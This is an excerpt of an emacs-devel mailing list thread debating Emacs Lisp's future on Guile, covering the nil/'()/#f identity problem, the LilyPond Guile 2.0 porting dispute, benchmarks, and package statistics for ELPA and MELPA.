    (defvar f (make-scheme-false))
    (defvar eol (make-scheme-null))
    (eq f eol) ⇒ nil
    (eq nil eol) ⇒ nil
    (eq nil f) ⇒ nil
    (equal f eol) ⇒ t
    (equal nil eol) ⇒ t
    (equal nil f) ⇒ t

> If you alias #f, (), and nil together from an elisp perspective, then
> when you need to differentiate these values, you can't, because you've
> just thrown away the information you'd need to do that. You can't make
> the object's true identity a hidden property of the value either,
> because that breaks perfectly valid code like this:
>
>   (defun identity-x (x) (if (eq x nil) nil x))

(eq x nil) is just something you are not expected to do if a list or
condition may come from a Scheme function.  Of course, that includes
using x for eq-based hashing.

The GUILE manual (in the above-mentioned section) states with audacity

    Fortunately, using not and null? is in good style, so all
    well-written standard Scheme programs are correct, in Guile Scheme.

Of course, that glosses over the fact that the end of a list may well be
implicitly checked for by using sentinels and other quite legitimate
programming practices.

For example, two proper lists generally have a common tail, even if that
tail is only '(), and finding that tail is done by trimming the longer
list to the size of the shorter one and then cdr-ing the remaining lists
in synch until arriving at a matching value.

Using "equal" for that comparison is not an option, and using "eq" is no
longer guaranteed to terminate without error.  The solution is to
declare the algorithm not well-written.

Cynicism aside, it will be advisable not to venture into Scheme too much
in order to avoid having the Scheme end-of-list and the Scheme #f turn
up at all.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> Guile on the other hand is GNU software; it's the official GNU
> extension language that's being massively revitalized to be worth of
> its name.  GCC, GDB, and more can be extended in Guile.  It's tied
> with Guix as well; the package manager for the upcoming official GNU
> distribution.  After so many years, things are really getting together
> in technical terms in the GNU project, and Guile is what's pulling it
> all together.

The music typesetter GNU LilyPond is one of the oldest GNU projects
using GUILE.  So far, its attempts to port from GUILE 1.8 to GUILE 2.0
have crashed and burnt (current state is inexplicable scoping problems
and crashes in random locations).  As a consequence, it will get removed
from Debian next February when Debian discontinues support of GUILE 1.8.
LilyPond's lead developer (yours truly) has been banned from posting on
the GUILE developer list years ago.  There have been few private offers
from GUILE developers to help with the porting, but after being provided
the necessary information, the contacts have gone dead.

LilyPond is the only GUILE-based GNU project that I know of that
integrates Scheme as tightly into the basic system and language as it
would be expected from Emacs, defining dozens of native data types in
C++.  And it does not even have the Elisp/Scheme discrepancy to deal
with.

It is an actively maintained project with dozens of developers and
thousands of users and will disappear from Debian-based distributions
next year.

If Emacs developers would happen to fall from grace and/or the GUILE
developers get tired of dealing with the expectable host of problems and
just stop answering calls because of the initial enthusiasm wearing down
under a lack of man power, I don't see what would promise a
substantially different ending there.

-- 
David Kastrup

Re: Emacs Lisp's future

[Andreas Röhler]

On 17.09.2014 20:24, Jorgen Schaefer wrote:
> On Tue, 16 Sep 2014 18:03:17 +0200
> Lennart Borgman <lennart.borgman@gmail.com> wrote:
[ ... ]
> One thing I think would benefit Emacs Lisp as a language a lot would be
> a standard library cleanup. An effort to go through the libraries that
> come with Emacs, separate them into "standard library" and "extensions
> that come with Emacs", and then go through the "standard library",
> provide sane names when necessary (like setcar is provided for rplaca)
> and deprecating the old ones, or simply deprecate all but one version of
> functions with overlapping use (nth or elt, pick one). Finally, add
> standard libraries for common functionality that is currently lacking
> (see above).
>

[ ... ]

+1

Re: Emacs Lisp's future

[Helmut Eller]

On Wed, Sep 17 2014, Stefan Monnier wrote:

>>> It is the lisp which sage supports (they have a funding grant which
>>> requires that sage be installable from source on just about anything
>>> which has an existing C compiler) and the maxima tests consistantly
>>> show it as second only to compiled-to-machine-code lisps like sbcl.
>
> Note that this speed is probably only for "compiled code".

The story that I've heard is that Maxima uses primarily GCL (not ECL,
though it would also work in ECL and other CLs) and that GCL is fast in
that case because Maxima uses old-fashioned idioms a lot, like EVAL all
over the place.

The last thing I've heard of ECL is that it's searching a new maintainer
because the current one can no longer use it at work (university context
where the Lisp using project has ended).  There's also a fork of ECL
called MKCL with supposedly better multithreading.

Just saying, because ECL is apparently also short on man power.

Helmut

Re: Emacs Lisp's future

[Thorsten Jolitz]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> I just tried a silly microbenchmark to get an idea of the byte-code
> interpreter's performance:
>
>    (let ((x 0)) (dotimes (i 10000000) (setq x (- i x))) x))
>
> and on my machine, it took 3.5s compared.  This isn't super-fast
> compared to Emacs-24.3 which takes 6.7s in the purely interpreted case
> and 1.7s in the byte-compiled case.

I could not resist to compare this with my favorite 'pure and powerful'
(and interpreted) PicoLisp:

,----
| : (bench (let X 0 (for I 10000000 (setq X (- I X))) X))
| 0.338 sec
| -> 5000000
`----

while the Emacs Lisp version on my machine yields:

,----
| : (benchmark-run nil (let ((x 0)) (dotimes (i 10000000) (setq x (- i x))) x))
`----

-> (3.5045056839999997 0 0.0)

See 

,----
| http://picolisp.com/wiki/?PILvsEL 
`----

for more speed comparisons between PicoLisp and Emacs Lisp.

-- 
cheers,
Thorsten

Re: Emacs Lisp's future

[Thorsten Jolitz]

phillip.lord@newcastle.ac.uk (Phillip Lord) writes:

> The manual talks about the performance danger of overlay, but I've just
> put an overlay an every word in a 300 line buffer, and I can't notice
> that either.

I had a different experience when I tried to implement org-hlc.el (Org
Hidden Line Cookies [fn:1]) with overlays and buffer change hooks. I always
test with a 7000+ lines elisp file, and user experience was pretty close
to 'unusable' in a file of that size, so I came to the conclusion that
Emacs perfomance is actually quite limited in that area. 

* Footnotes

[fn:1] org-hlc shows the number of hidden lines in a folded subtree in
little cookie that looks like this [#20] in the folded headline.

-- 
cheers,
Thorsten

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> Of course, that glosses over the fact that the end of a list may well
> be implicitly checked for by using sentinels and other quite
> legitimate programming practices.
>
> For example, two proper lists generally have a common tail, even if
> that tail is only '(), and finding that tail is done by trimming the
> longer list to the size of the shorter one and then cdr-ing the
> remaining lists in synch until arriving at a matching value.
>
> Using "equal" for that comparison is not an option, and using "eq" is
> no longer guaranteed to terminate without error.  The solution is to
> declare the algorithm not well-written.

So the problem is that two same-length lists are normally guaranteed to
have an `eq' element at some point in Lisps, and Guile breaks this
guarantee.  That seems like a legitimate concern; thanks for bringing it
up.

Fortunately, making use of this should be relatively rare, and the fix
is relatively simple too.

(In the algorithm you mentioned, the naive solution is to do an
additional (and (null list1-rest) (null list2-rest)) at each cdr instead
of only an (eq list1-rest list2-rest), and the smart solution to
canonicalize the null objects at the ends during the length
calculation/truncation which will inevitably visit the ends of both
lists, if the algorithm needs to be as efficient as possible.)

Considering also that the issue will only arise during inter-operation
of the languages, which should be limited to rare situations like
internal Scheme code raising an error that's handled in Elisp, the
combined chance of this issue ever hitting a pure Elisp user seems
minuscule.

All in all, it's not a concern for Emacs users who don't mess with
Scheme, and quite a small one for those who do.

Taylan

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Of course, that glosses over the fact that the end of a list may well
>> be implicitly checked for by using sentinels and other quite
>> legitimate programming practices.
>>
>> For example, two proper lists generally have a common tail, even if
>> that tail is only '(), and finding that tail is done by trimming the
>> longer list to the size of the shorter one and then cdr-ing the
>> remaining lists in synch until arriving at a matching value.
>>
>> Using "equal" for that comparison is not an option, and using "eq" is
>> no longer guaranteed to terminate without error.  The solution is to
>> declare the algorithm not well-written.
>
> So the problem is that two same-length lists are normally guaranteed to
> have an `eq' element at some point in Lisps, and Guile breaks this
> guarantee.  That seems like a legitimate concern; thanks for bringing it
> up.
>
> Fortunately, making use of this should be relatively rare, and the fix
> is relatively simple too.
>
> (In the algorithm you mentioned, the naive solution is to do an
> additional (and (null list1-rest) (null list2-rest)) at each cdr instead
> of only an (eq list1-rest list2-rest), and the smart solution to
> canonicalize the null objects at the ends during the length
> calculation/truncation which will inevitably visit the ends of both
> lists, if the algorithm needs to be as efficient as possible.)

Well, as I said: the solution is to declare the algorithm not
well-written.

> Considering also that the issue will only arise during inter-operation
> of the languages, which should be limited to rare situations like
> internal Scheme code raising an error that's handled in Elisp, the
> combined chance of this issue ever hitting a pure Elisp user seems
> minuscule.

That is under the premise that Emacs will not be extended in _any_
language except Elisp.

So that leaves us with one of two conclusions: the advertisement of
ultimately being able to extend Emacs in multiple languages possibly
including Scheme, JavaScript and Lua is not going anywhere, or existing
Elisp code will generally need to be revised in order to work in an
Emacs running extensions written in other languages.

For example, GUILE prouds itself of including an LALR(1) parser
generator running native Scheme code.  Using it for semantic parsing in
Emacs will not be feasible if its "Scheme data model" is incompatible
with the "Elisp data model".

> All in all, it's not a concern for Emacs users who don't mess with
> Scheme, and quite a small one for those who do.

But the whole point of the exercise was to enable messing with Scheme.

-- 
David Kastrup

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> The music typesetter GNU LilyPond is one of the oldest GNU projects
> using GUILE.  So far, its attempts to port from GUILE 1.8 to GUILE 2.0
> have crashed and burnt (current state is inexplicable scoping problems
> and crashes in random locations).  As a consequence, it will get removed
> from Debian next February when Debian discontinues support of GUILE 1.8.
> LilyPond's lead developer (yours truly) has been banned from posting on
> the GUILE developer list years ago.  There have been few private offers
> from GUILE developers to help with the porting, but after being provided
> the necessary information, the contacts have gone dead.
>
> LilyPond is the only GUILE-based GNU project that I know of that
> integrates Scheme as tightly into the basic system and language as it
> would be expected from Emacs, defining dozens of native data types in
> C++.  And it does not even have the Elisp/Scheme discrepancy to deal
> with.
>
> It is an actively maintained project with dozens of developers and
> thousands of users and will disappear from Debian-based distributions
> next year.
>
> If Emacs developers would happen to fall from grace and/or the GUILE
> developers get tired of dealing with the expectable host of problems and
> just stop answering calls because of the initial enthusiasm wearing down
> under a lack of man power, I don't see what would promise a
> substantially different ending there.

It's unfortunate that LilyPond was hit by the 2.0 overhaul so badly.

Fortunately, such an overhaul is very unlikely to ever happen again.

And even in the fringe case that it does, it would not affect Elisp as
much (or at all) in the way the 2.0 overhaul affected Scheme.

Taylan

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> The music typesetter GNU LilyPond is one of the oldest GNU projects
>> using GUILE.  So far, its attempts to port from GUILE 1.8 to GUILE 2.0
>> have crashed and burnt (current state is inexplicable scoping problems
>> and crashes in random locations).  As a consequence, it will get removed
>> from Debian next February when Debian discontinues support of GUILE 1.8.
>> LilyPond's lead developer (yours truly) has been banned from posting on
>> the GUILE developer list years ago.  There have been few private offers
>> from GUILE developers to help with the porting, but after being provided
>> the necessary information, the contacts have gone dead.
>>
>> LilyPond is the only GUILE-based GNU project that I know of that
>> integrates Scheme as tightly into the basic system and language as it
>> would be expected from Emacs, defining dozens of native data types in
>> C++.  And it does not even have the Elisp/Scheme discrepancy to deal
>> with.
>>
>> It is an actively maintained project with dozens of developers and
>> thousands of users and will disappear from Debian-based distributions
>> next year.
>>
>> If Emacs developers would happen to fall from grace and/or the GUILE
>> developers get tired of dealing with the expectable host of problems and
>> just stop answering calls because of the initial enthusiasm wearing down
>> under a lack of man power, I don't see what would promise a
>> substantially different ending there.
>
> It's unfortunate that LilyPond was hit by the 2.0 overhaul so badly.
>
> Fortunately, such an overhaul is very unlikely to ever happen again.

I think you are misunderstanding the problem.  The problem is not that
technical problems occured after large changes.  The problem is that
GUILE developers cannot be bothered with the fallout in affected
projects.

LilyPond is not a fringe project.  It is by far the largest GNU project
using GUILE.

> And even in the fringe case that it does, it would not affect Elisp as
> much (or at all) in the way the 2.0 overhaul affected Scheme.

GUILE development will cater better for Elisp than for Scheme?  That
does sound peculiar.  Is this pitch being made anywhere else apart from
the Emacs developer list?

-- 
David Kastrup

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> Well, as I said: the solution is to declare the algorithm not
> well-written.

Yes, this relatively rare algorithm with a trivially modified
well-written (for Guile) variant is considered not-well-written.

> That is under the premise that Emacs will not be extended in _any_
> language except Elisp.
>
> So that leaves us with one of two conclusions: the advertisement of
> ultimately being able to extend Emacs in multiple languages possibly
> including Scheme, JavaScript and Lua is not going anywhere, or existing
> Elisp code will generally need to be revised in order to work in an
> Emacs running extensions written in other languages.

Note that I myself haven't shown much enthusiasm towards the idea of
using any non-Elisp languages, other than Scheme, and I don't intend to
force Scheme on anyone either.  Nobody does.

Probably, sooner or later the amount of Scheme extensions for Emacs will
grow.  Core Emacs need not support these if they really lead to
problems, but I suspect that will be an exceedingly rare situation.
Emacs users who use others' Scheme extensions might have to deal with
issues in them, but that in turn is a problem with said extensions; an
Elisp extension can also have any number of limitations or warts imposed
on the user, by say using defadvice or failing to follow some
conventions.

> For example, GUILE prouds itself of including an LALR(1) parser
> generator running native Scheme code.  Using it for semantic parsing
> in Emacs will not be feasible if its "Scheme data model" is
> incompatible with the "Elisp data model".

I would expect it to use neither an Elisp nor a Scheme data model, but a
language-independent one served to you in the form of procedures and
macros working on said model.  Taking a quick peek into the source, that
seems to be the case indeed; it uses `define-record-type'.

And if it did use one of the usual Elisp or Scheme types (not a disjoint
type created with `define-record-type'), then they would still be
uniform between the languages as I previously mentioned: an Elisp vector
is a Scheme vector, an Elisp cons is a Scheme pair, etc.  The one and
only wart is removing the "lists all end with the same object" guarantee
as mentioned previously, which will rarely be an issue and has a trivial
fix.

> But the whole point of the exercise was to enable messing with Scheme.

No, it was not.  For Emacsers, the benefits will be, in decreasing order
of "immediate benefit": 1) make Elisp perform better, 2) make Guile
libraries available to Elisp regardless of the language they're
implemented in, 3) make it possible to extend Emacs in Scheme.

Lists are used gratiously in Emacs/Elisp, but not as central types in
specific-purpose Guile libraries, so the nil vs. '() problem mainly hits
point 3, and point 2 to a lesser extent.  (And then the whole "problem"
is barely limited to "lists not guaranteed to terminate in the same (as
in eq) object anymore," on which code relying should be exceedingly
rare.)


To repeat: I see no fundamental issues in basing Emacs/Elisp on Guile.
There are practical issues only, like how to fix string representation.
It would be great if we started working on them. :-)

Taylan

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> I think you are misunderstanding the problem.  The problem is not that
> technical problems occured after large changes.  The problem is that
> GUILE developers cannot be bothered with the fallout in affected
> projects.

I don't mean to insult but I have the impression that, what the Guile
developers could not be bothered with might have been the LilyPond
maintainer rather than LilyPond itself.

> GUILE development will cater better for Elisp than for Scheme?  That
> does sound peculiar.  Is this pitch being made anywhere else apart from
> the Emacs developer list?

Guile has authority over Guile-Scheme, but not over Elisp; it has to and
will support Elisp as defined by Emacs as much as possible.  That's
pretty obvious I'd say.

If the Emacs/Guile merge became fully complete in several years and all
remnants of non-Guile Emacs disappeared, then it could be vaguely
imaginable that Guile took control over Elisp semantics, but that "ain't
gonna happen" under such Emacs community pressure. :-)  You can bet on
Guile taking Elisp only to where Elispers want it to go.

Taylan

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> I think you are misunderstanding the problem.  The problem is not that
>> technical problems occured after large changes.  The problem is that
>> GUILE developers cannot be bothered with the fallout in affected
>> projects.
>
> I don't mean to insult but I have the impression that, what the Guile
> developers could not be bothered with might have been the LilyPond
> maintainer rather than LilyPond itself.

Shrug.  Naturally, after Andy Wingo prohibited me from bothering the
Guile developer list any more, the number of contacts went down.  I sent
several major developers who had _after_ the interdictum offered to help
the respective information about the state of the GUILE 2.0 port and how
to check out and work with LilyPond.  None of them ever got back to me.

At any rate, it has been mentioned previously in this discussion that
the Emacs developer list is not always considered a happy-go-lucky
environment.  So if it is the habit of GUILE developers to take out
revenge on a project and its users for enmity with single developers,
that's also relevant for making crucial GNU software depend on GUILE.

I think this interpretation of events is not making for a much better
outlook.  Particularly because Emacs development is more often than
other GNU projects governed by unpopular political decisions.  A habit
of retaliation and "see-where-this-will-get-you" in order to pressure
for a change in project lead is not likely going to work out well.

I don't think that you are better off selling this situation as a
personal vendetta, and it is not like the GUILE 2 problem was not
already there when I started to get involved with LilyPond.

>> GUILE development will cater better for Elisp than for Scheme?  That
>> does sound peculiar.  Is this pitch being made anywhere else apart
>> from the Emacs developer list?
>
> Guile has authority over Guile-Scheme, but not over Elisp; it has to
> and will support Elisp as defined by Emacs as much as possible.
> That's pretty obvious I'd say.

"This is not possible" will be defined under the constraints of GUILE
remaining Scheme according to GUILE's vision of interpretating the
Scheme standard and its further evolution.

> If the Emacs/Guile merge became fully complete in several years and
> all remnants of non-Guile Emacs disappeared, then it could be vaguely
> imaginable that Guile took control over Elisp semantics, but that
> "ain't gonna happen" under such Emacs community pressure. :-) You can
> bet on Guile taking Elisp only to where Elispers want it to go.

The question now is not where GUILE will take Elisp but rather whether
its interpretation of Elisp can get close enough to make a switch
feasible in the first place.

-- 
David Kastrup

Re: Emacs Lisp's future

[Phillip Lord]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>     Thinking of Emacs as an entire ecosystem, most of Emacs is already
>     maintained independently from either Emacs core or GNU ELPA.
>
> That is a shocking statement -- is it really true?

Well, I thought to check, since I wasn't sure and the answer is actually
no, it's about 50% in terms of file size. This is comparing *.el sizes.

My actual figures are emacs (52M, 1411 lisp files), elpa (16M and 231)
and MELPA (36M, 9530). I would guess that MELPA has most of the external
packages; but I could be wrong. The low number of pacages in elpa
compared to MELPA is probably a good thing, since there are a lot of
very small ones in MELPA.

Still, there is a lot of the emacs ecosystem outside of Emacs core or
ELPA, even if it's not more.

The methodology is below!

Phil




cd emacs-core (i.e. all the emacs lisp in /usr/share/emacs/24.3)
find . -name "*elc" -exec rm {} \;
find . -name "*gz" -exec gzip -d {} \;
find . -name "*el" | wc
   1411    1411   35522
du -shc *
52M	lisp
52M	total

cd elpa
find . -name "*el" | wc
    231     231    8264

 du -shc packages/
16M	packages/
16M	total


cd melpa
cd packages
rm *tar
rm *entry
cd ..
find . -name "*el" | wc
   9530    9536  398787
du -shc packages
36M	packages
36M	total

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> At any rate, it has been mentioned previously in this discussion that
> the Emacs developer list is not always considered a happy-go-lucky
> environment.  So if it is the habit of GUILE developers to take out
> revenge on a project and its users for enmity with single developers,
> that's also relevant for making crucial GNU software depend on GUILE.

I don't see the Guile developers taking revenge on anyone --especially
not LilyPond as a whole-- but rather flaying off your efforts to take
revenge on them by passing on your anger.

No need to be happy-go-lucky, just less insulting.

You could probably continue taking part on guile-devel if you were more
cooperative.

> I think this interpretation of events is not making for a much better
> outlook.  Particularly because Emacs development is more often than
> other GNU projects governed by unpopular political decisions.  A habit
> of retaliation and "see-where-this-will-get-you" in order to pressure
> for a change in project lead is not likely going to work out well.

It's ironic that you would talk about retaliation and
"see-where-this-will-get-you" behavior, or am I misunderstanding? :-)

It feels more like that's your attitude, despite there being no pressure
from the Guile side.

> I don't think that you are better off selling this situation as a
> personal vendetta, and it is not like the GUILE 2 problem was not
> already there when I started to get involved with LilyPond.

Let's be honest here, it was obvious from your first mail on this thread
that there's something personal going on.  I knew absolutely nothing
about your history on guile-devel (did not even recognize your name),
yet guessed immediately that there was something fishy.

>> Guile has authority over Guile-Scheme, but not over Elisp; it has to
>> and will support Elisp as defined by Emacs as much as possible.
>> That's pretty obvious I'd say.
>
> "This is not possible" will be defined under the constraints of GUILE
> remaining Scheme according to GUILE's vision of interpretating the
> Scheme standard and its further evolution.

Reminder that Guile-Emacs, in its current alpha state, already runs ERC,
Gnus, rcirc, Dired, term, comint, TRAMP, c-mode, etc.  There will
definitely not be much that is impossible.

> The question now is not where GUILE will take Elisp but rather whether
> its interpretation of Elisp can get close enough to make a switch
> feasible in the first place.

See above.

Also, compilation, not interpretation. :}

Taylan

Re: Emacs Lisp's future

[Rasmus]

[-- Attachment #1: Type: text/plain, Size: 2632 bytes --]

Hi,

Richard Stallman <rms@gnu.org> writes:

>     Thinking of Emacs as an entire ecosystem, most of Emacs is already
>     maintained independently from either Emacs core or GNU ELPA.
>
> That is a shocking statement -- is it really true?

I don't know.  Probably not.  The most important modes *I use* are
part of GNU (core + GNU ELPA:.  Org, prog-modes, Gnus, Company and
AUCTeX.  Surprisingly, EMMS is not in GNU ELPA.

Using the download statistics from MELPA (attached) there's some
packages with more than 20000 downloads.  Now I'm not clear how this
metrics come about, e.g. are upgrades counted as download and what it
the time window etc.?

Downloads:
(apply '+ (mapcar 'cadr (remove-if (lambda (x) (member (car x) elpa)) melpa))) => 4060634

Popular packages not part of GNU ELPA (> 20000 downloads).  I've added
license when I know it.

    - magit (gpl3), vc on steroids for git only.
    - dash and s (both gpl3) are list and string functions.
    - autocomplete is like company in GNU ELPA.
    - flycheck is supposedly like flymode?
    - helm, pkg-info, popup (gpl3), epl.  No idea.
    - cider, lisp environment, maybe the successor of slime? 
    - smex (gpl3), ido-ubiquitous (gpl3): ido extensions
    - paredit (gpl3), smartparens: parentheses functions, useful for lisp.
    - Gh, github api functions, I guess.
    - expand-region, rainbow-delimiters, multiple-cursors, convenience
      Functions, I guess.
    - diminish, remove stuff from the modeline.

magit                | 83518 
dash                 | 78019 
auto-complete        | 65754
popup                | 59504
git-commit-mode      | 59418
s                    | 58258
flycheck             | 52859
helm                 | 50878
git-rebase-mode      | 50865
epl                  | 48113
pkg-info             | 46034
projectile           | 39443
cider                | 38332
smex                 | 36783
clojure-mode         | 36467
f                    | 36240
zenburn-theme        | 35887
markdown-mode        | 35721
expand-region        | 35027
haskell-mode         | 34747
smartparens          | 32636
ido-ubiquitous       | 31920
rainbow-delimiters   | 30480
ace-jump-mode        | 29956
paredit              | 28493
multiple-cursors     | 27497
web-mode             | 26960
solarized-theme      | 26151
gitconfig-mode       | 24642
elisp-slime-nav      | 24482
diminish             | 24190
inf-ruby             | 23904
gitignore-mode       | 23447
exec-path-from-shell | 21889
gh                   | 21598
php-mode             | 21231
yaml-mode            | 20169

Hope it helps,
Rasmus

--
I hear there's rumors on the, uh, Internets. . .

[-- Attachment #2: melpa.el --]
[-- Type: application/emacs-lisp, Size: 38836 bytes --]

Re: Emacs Lisp's future

[Phillip Lord]

Rasmus <rasmus@gmx.us> writes:

> Hi,
>
> Richard Stallman <rms@gnu.org> writes:
>
>>     Thinking of Emacs as an entire ecosystem, most of Emacs is already
>>     maintained independently from either Emacs core or GNU ELPA.
>>
>> That is a shocking statement -- is it really true?
>
> Using the download statistics from MELPA (attached) there's some
> packages with more than 20000 downloads.  Now I'm not clear how this
> metrics come about, e.g. are upgrades counted as download and what it
> the time window etc.?

Yep, upgrades will be downloads. A number of packages on there are used
for integration testing. So, I pull down dash on every checking for
several of my projects. In time, I am sure dash will become the most
downloaded package because of this.

Once Emacs switches to git, I would guess the percentage of people on
this list who do not install magit will shrink to a tiny number. My
guesses are often wrong though!

Phil

Re: Emacs Lisp's future

[David Kastrup]

Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> At any rate, it has been mentioned previously in this discussion that
>> the Emacs developer list is not always considered a happy-go-lucky
>> environment.  So if it is the habit of GUILE developers to take out
>> revenge on a project and its users for enmity with single developers,
>> that's also relevant for making crucial GNU software depend on GUILE.
>
> I don't see the Guile developers taking revenge on anyone --especially
> not LilyPond as a whole-- but rather flaying off your efforts to take
> revenge on them by passing on your anger.

It was you who stated that you considered it likely that LilyPond was
not given any support of GUILE developers because of me being a persona
non grata.  At some point of time you have to decide whether you mean
what you say or not.

> No need to be happy-go-lucky, just less insulting.
>
> You could probably continue taking part on guile-devel if you were more
> cooperative.

Since I am unconditionally not permitted to post there, that is
hypothetical.

>> I think this interpretation of events is not making for a much better
>> outlook.  Particularly because Emacs development is more often than
>> other GNU projects governed by unpopular political decisions.  A
>> habit of retaliation and "see-where-this-will-get-you" in order to
>> pressure for a change in project lead is not likely going to work out
>> well.
>
> It's ironic that you would talk about retaliation and
> "see-where-this-will-get-you" behavior, or am I misunderstanding? :-)
>
> It feels more like that's your attitude, despite there being no
> pressure from the Guile side.

As there will be "no pressure" from the GUILE side once they decide
Emacs becomes too inconvient to support.

>> I don't think that you are better off selling this situation as a
>> personal vendetta, and it is not like the GUILE 2 problem was not
>> already there when I started to get involved with LilyPond.
>
> Let's be honest here, it was obvious from your first mail on this
> thread that there's something personal going on.  I knew absolutely
> nothing about your history on guile-devel (did not even recognize your
> name), yet guessed immediately that there was something fishy.

Not particularly hard to guess since I pointed _out_ that there was
something fishy.

>> "This is not possible" will be defined under the constraints of GUILE
>> remaining Scheme according to GUILE's vision of interpretating the
>> Scheme standard and its further evolution.
>
> Reminder that Guile-Emacs, in its current alpha state, already runs
> ERC, Gnus, rcirc, Dired, term, comint, TRAMP, c-mode, etc.  There will
> definitely not be much that is impossible.

Emacs is the platform for an ecosystem supporting thousands of packages.
That requires a rather high level of compatibility.

While you have ventured to say that you consider the move to Guile-Emacs
as less disruptive as that to lexical binding, you have glossed over the
fact that lexical binding has to be _explicitly_ enabled on a
file-by-file basis, meaning that old code will run unchanged and with
dynamic bindings.

One cannot help the impression that there is a certain elasticity to the
claims of what will be possible under which conditions that make them
less than useful for long-range planning.

Brad's status report in contrast was rather to the point, and the web
page at <URL:http://www.emacswiki.org/emacs/GuileEmacsTodo> paints a
more realistic picture of the current situation as well.

At the current point of time, it definitely appears that the marketing
department should not fear being overtaken by the engineering
department, even though the latter is making solid progress.

-- 
David Kastrup

Re: Emacs Lisp's future

[Rasmus]

Hi Phillip,

phillip.lord@newcastle.ac.uk (Phillip Lord) writes:

> Rasmus <rasmus@gmx.us> writes:
>
>> Hi,
>>
>> Richard Stallman <rms@gnu.org> writes:
>>
>>>     Thinking of Emacs as an entire ecosystem, most of Emacs is already
>>>     maintained independently from either Emacs core or GNU ELPA.
>>>
>>> That is a shocking statement -- is it really true?
>>
>> Using the download statistics from MELPA (attached) there's some
>> packages with more than 20000 downloads.  Now I'm not clear how this
>> metrics come about, e.g. are upgrades counted as download and what it
>> the time window etc.?
>
> Yep, upgrades will be downloads. A number of packages on there are used
> for integration testing. So, I pull down dash on every checking for
> several of my projects. In time, I am sure dash will become the most
> downloaded package because of this.

I don't "get" dash and s, but lots of people developing more
impressive things than I will ever be able to do seem happy with it so
who am I to judge?  When I write a patch, I intend it to become part
of core, so dash/s are not options.

> Once Emacs switches to git, I would guess the percentage of people on
> this list who do not install magit will shrink to a tiny number. My
> guesses are often wrong though!

Magit is nice, and probably for a git gui *the best* you can get, but
I'm still frustrated by it (how do I format-patch?!) and must often
default to the terminal.  The manual and things like staging are
wonderful though.

—Rasmus

PS: I should have included this statistics before

;; Potential ELPA  downloads
(- (apply '+ (mapcar 'cadr melpa))
   (apply '+ (mapcar 'cadr (remove-if (lambda (x) (member (car x) elpa)) melpa)))) => 196884

But this number makes little sense, as the most important components
of Emacs are already part of the Emacs tarball (dired, gnus, org,
prog-modes).  Consider Python where Emacs has a *very* good mode
build-in.  Elpy "only" has 7790 downloads (but thanks for your work
Jörgen, it's awesome!).

—Rasmus

-- 
Governments should be afraid of their people

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > provide sane names when necessary (like setcar is provided for rplaca)

setcar is not entirely equivalent to rplaca -- they return different
values.  That's why I gave it a different name.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> It was you who stated that you considered it likely that LilyPond was
> not given any support of GUILE developers because of me being a persona
> non grata.

That's not "revenge."

> As there will be "no pressure" from the GUILE side once they decide
> Emacs becomes too inconvient to support.

"Not gonna happen." :-)

> Not particularly hard to guess since I pointed _out_ that there was
> something fishy.

Your attitude?  I must have missed that.

> Emacs is the platform for an ecosystem supporting thousands of packages.
> That requires a rather high level of compatibility.

Bug reports welcome.  (With as little insults as possible.)

> While you have ventured to say that you consider the move to Guile-Emacs
> as less disruptive as that to lexical binding, you have glossed over the
> fact that lexical binding has to be _explicitly_ enabled on a
> file-by-file basis, meaning that old code will run unchanged and with
> dynamic bindings.

Lexical binding changes language semantics, Guile-Emacs doesn't.

> One cannot help the impression that there is a certain elasticity to the
> claims of what will be possible under which conditions that make them
> less than useful for long-range planning.

Consider the following: the name of this thread is "Emacs Lisp's
future", and people talked about all sorts of changes to Elisp itself
that they would like.  And we two here are pondering whether Guile-Emacs
*might* end up causing some *minor* changes to Elisp.
(Backwards-incompatibilities rather; new features might be plenty.)

> Brad's status report in contrast was rather to the point, and the web
> page at <URL:http://www.emacswiki.org/emacs/GuileEmacsTodo> paints a
> more realistic picture of the current situation as well.

Do you see any points there that mention incompatibilities between Emacs
Elisp and Guile Elisp semantics?

> At the current point of time, it definitely appears that the marketing
> department should not fear being overtaken by the engineering
> department, even though the latter is making solid progress.

I think the marketing department you have in mind consists of me, who is
not exactly a Guile developer.  *Hangs head in shame.*  Sorry that my
enthusiasm over Guile-Emacs and a more unified GNU system have annoyed
you; no reason to accuse Guile of marketing.  Give me all the blame.

I might not reply to further mails though.

Taylan

Re: Emacs Lisp's future

[Phillip Lord]

Rasmus <rasmus@gmx.us> writes:

>> Yep, upgrades will be downloads. A number of packages on there are used
